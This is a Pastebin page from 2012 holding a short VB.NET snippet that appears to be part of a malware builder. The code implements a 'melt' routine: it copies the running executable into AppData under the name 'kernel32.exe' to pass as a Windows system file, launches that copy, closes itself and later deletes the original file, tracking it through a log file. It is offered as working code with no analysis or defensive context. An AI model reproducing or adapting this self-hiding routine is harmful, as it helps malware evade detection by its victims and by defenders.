Guest User

Untitled

a guest
May 5th, 2012
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 0.94 KB | None | 0 0
  1. If System.IO.File.Exists(appdata & "\" & mutex & ".log") = True Then
  2.             Try
  3.                 Dim oldpath As String = System.IO.File.ReadAllText(appdata & "\" & mutex & ".log")
  4.                 System.IO.File.Delete(oldpath)
  5.                 System.IO.File.Delete(appdata & "\" & mutex & ".log")
  6.                 Exit Sub
  7.             Catch ex As Exception
  8.                 MessageBox.Show("Melt error: " & ex.ToString)
  9.             End Try
  10.         Else
  11.             System.IO.File.WriteAllText(appdata & "\" & mutex & ".log", Application.ExecutablePath)
  12. a:
  13.             If System.IO.File.Exists(appdata & "\kernel32.exe") Then
  14.                 System.IO.File.Delete(appdata & "\kernel32.exe")
  15.                 GoTo a
  16.             Else
  17.                 System.IO.File.Copy(Application.ExecutablePath, appdata & "\kernel32.exe")
  18.                 Process.Start(appdata & "\kernel32.exe")
  19.                 Me.Close()
  20.             End If
  21.         End If
Advertisement
Add Comment
Please, Sign In to add comment